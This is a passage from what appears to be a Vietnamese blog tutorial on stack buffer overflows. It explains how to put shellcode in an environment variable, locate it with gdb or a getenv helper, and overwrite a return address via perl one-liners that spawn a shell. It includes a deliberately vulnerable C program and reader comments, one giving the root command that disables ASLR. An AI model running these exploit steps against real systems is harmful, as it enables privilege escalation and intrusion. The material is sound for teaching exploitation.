Lỗi tràn bộ đệm [11]: dùng biến môi trường
Lần trước ta đã biết cách khai thác chương trình có buffer dài bằng cách bỏ shellcode vào buffer này dùng dòng lệnh trên *nix và perl. Lần này ta xét đến trường hợp buffer bị tràn rất bé, không đủ để bỏ shellcode vào. (Nếu bỏ vào thì có khả năng shellcode tràn luôn vào return address.) Nhớ lại ví dụ buffer ngắn đã xét:
/*
* vuln_sb.c : This is a vulnerable program with a short buffer
*/
#include <stdio.h>
int main(int argc, char **argv) {
char buffer[5];
if (argv[1] != NULL) {
strcpy(buffer, argv[1]);
}
return 0;
}
Một trong những nơi có thể bỏ được shellcode là các biến môi trường (environment variable). Tùy theo bạn dùng shell gì, tôi dùng bash và có thể đơn giản làm như sau. (Nhớ rằng ex10 là đoạn bytecode gọi một shell:
[NQH] hanoi:~/BO$ export CSE=`perl -e 'print "\x90"x100;'``cat ex10`
Sau khi đặt shellcode vào biến môi trường MSC rồi (MSC viết tắt của “my shellcode” cho gọn), ta phải biết địa chỉ của CSE ở đâu để trỏ return address vào đó. Có vài cách để biết MSC nằm ở địa chỉ nào.
Cách 1: dùng gdb như sau.
[NQH] hanoi:~/BO$ gdb vuln_sb GNU gdb 6.3-debian Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804838a (gdb) run Starting program: /home/hungngo/BO/vuln_sb Breakpoint 1, 0x0804838a in main () (gdb) x/20s $esp 0xbffff811: "" 0xbffff812: "" 0xbffff813: "" 0xbffff814: "Ï" 0xbffff817: "@t\\215\\024@ál\\001@\\001" 0xbffff822: "" .... ## a bunch of stuff here 0xbffffeaf: "MSC=", '\\220' <repeats 100 times>, "<8b>\\024[1Á\\210C\\a\\215K\\b\\211\\031\\211A \\0041Ó<97>\\vÍ\\200<88><87><90 ><90><90>/bin/shX----++++" ... ## a bunch of stuff here (gdb) quit The program is running. Exit anyway? (y or n) y [NQH] hanoi:~/BO$
Như vậy, MSC nằm ở địa chỉ 0xbffffeaf. Ta thử trỏ return address vào địa chỉ này:
[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xaf\xfe\xff\xbf"x20'` Segmentation fault
Không được vì địa chỉ của MSC khi chạy trong môi trường gdb sẽ hơi khác khi chạy một mình một chút. Xê dịch lên xuống (nhớ rằng ta có đoạn NOP-sled bảo kê), và ta có:
[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xbf\xfe\xff\xbf"x20'` sh-2.05b$ exit exit [NQH] hanoi:~/BO$
Thành công rồi! Dùng gdb thì đơn giản nhưng mất công quá.
Cách 2: Cách dễ hơn là viết một chương trình khác, in ra xem MSC nằm đâu. Trong memory space của chương trình khác này và chương trình vuln_sb.c thì địa chỉ của MSC sẽ không khác nhau là mấy khi chạy trong cùng một shell với cùng bộ biến môi trường. Cái chương trình in ra địa chỉ của MSC có thể viết như sau:
/*
* my_get_env.c : Print address of the given environment variable
*/
#include <stdlib.h>
int main(int argc, char **argv) {
char *addr;
if (argc < 2) {
printf("Usage: %s <env var name>\n", argv[0]);
} else {
addr = getenv(argv[1]);
if (addr == NULL) {
printf("The environment variable %s does not exist\\n", argv[1]);
} else {
printf("%s is located at %p\\n", argv[1], addr);
}
}
return 0;
}
Chạy thử:
[NQH] hanoi:~/BO$ gcc -g my_get_env.c -o my_get_env [NQH] hanoi:~/BO$ ./my_get_env MSC MSC is located at 0xbffffeb0 [NQH] hanoi:~/BO$
Như vậy, MSC nằm ở 0xbffffeb0 đối với my_get_env. MSC đối với vuln_sb cũng sẽ nằm đâu gần đó. Thử xê dịch nó lên một chút là được:
[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xb0\xfe\xff\xbf"x20;'` Segmentation fault [NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xba\xfe\xff\xbf"x20;'` sh-2.05b$ exit exit [NQH] hanoi:~/BO$
Nhưng cứ phải thử xê dịch lung tung như vậy thì cũng chưa hay. Ta có thể bắn một phát trúng đích ngay. Chú ý các thí nghiệm sau đây:
[NQH] hanoi:~/BO$ mv my_get_env a [NQH] hanoi:~/BO$ ./a MSC MSC is located at 0xbffffec2 [NQH] hanoi:~/BO$ mv a aa [NQH] hanoi:~/BO$ ./aa MSC MSC is located at 0xbffffec0 [NQH] hanoi:~/BO$ mv aa aaa [NQH] hanoi:~/BO$ ./aaa MSC MSC is located at 0xbffffebe [NQH] hanoi:~/BO$
Địa chỉ của MSC dường như thay đổi theo độ dài của tên chương trình. Với độ dài tăng từ 1 lên 2 bytes thì địa chỉ giảm từ 0xbffffec2 xuống 0xbffffec0, sau đó tăng lên 3 bytes thì địa chỉ của MSC giảm xuống còn 0xbffffebe. Tính theo thập phân thì c2 xuống c0 là 2 bytes, c0 xuống be là 2 bytes nữa. Như vậy, nếu chương trình vuln_sb có chiều dài 7 bytes thì ta đoán là địa chỉ của MSC sẽ bị giảm thêm 8 bytes nữa từ 0xbffffebe xuống 0xbffffeb7. Thử ngay:
[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xb7\xfe\xff\xbf"x20;'` sh-2.05b$ exit exit [NQH] hanoi:~/BO$
Tuyệt vời!
Như vậy là cho đến bài viết này, ta đã tạm thời giải quyết được hai vấn đề: (1) vấn đề NULL byte và (2) đặt shellcode ở chỗ nào. Như đã viết, có đến 4 vấn đề cơ bản. Hai vấn đề còn lại là: (3) tránh signature detection, và (4) cái stack không execute được. Trong các bài tới tôi sẽ trình bày một số cách giải quyết các vấn đề này.

Bản Linux em dùng (Ubuntu 6.06 LTS Drake) các địa chỉ (VD biến môi trưỡng) không cố định. Kể cả cùng một chương trình cũng thay đổi theo lần chạy. Chưa rõ các bản *nix khác ra sao nhưng hiện tại kỹ thuật perl với Ubuntu có vẻ vô hiệu. Nói thêm là địa chỉ dao động rất nhiều (vài chục nghìn bytes), nên chuỗi NOP cũng không tác dụng.
ducha tắt “address space randomization” của 2.6 kernel thử coi được không?
Nhưng phải có root (echo 0 > /proc/sys/kernel/randomize_va_space hay là sysctl -w kernel.randomize_va_space=0)
nếu mục tiêu là lấy root thì phải đoán thôi hihihihi
Rất cảm ơn anh Nguyên đã trả lời.
Có một số bài báo và bài viết liên quan đến address space layout randomization, tôi ghi lại đây làm tài liệu tham khảo:
- Comprehensive Address Space Randomization (SUNY Stony Brook - USENIX Security Symposium)
- On the effectiveness of address space randomization (Stanford - ACM CCS 2004). Bài này rất hay. Nó cho ta biết một số kỹ thuật derandomization để chuyển các buffer overflow attacks trên hệ thống không có ASR thành một attack trên hệ thống có ASR. Chỉ mất thêm một vài trăm giây nữa là được.
- Windows Vista có ASR mặc định. Vista cũng dùng một số kỹ thuật khác (obfuscate function pointers, …) để làm cho exploits khó hơn.
- Kể từ kernel 2.6 (.11, .12 gì đó), có các patches cho phép turn on ASR. Tuy nhiên, làm điều này có .
- Tôi sẽ kiểm tra lại cho chắc (hy vọng sẽ viết thêm trong mấy bài tới), nhưng tôi tin rằng các kỹ thuật tìm stack pointers dùng thanh ghi (push, pop & ret techniques) không bị ảnh hưởng bởi ASR.
Còn với em khi máy tính bị tràn bộ đệm em có một cái trống :)) bàn phím gõ theo nhịp là ra một bản nhạc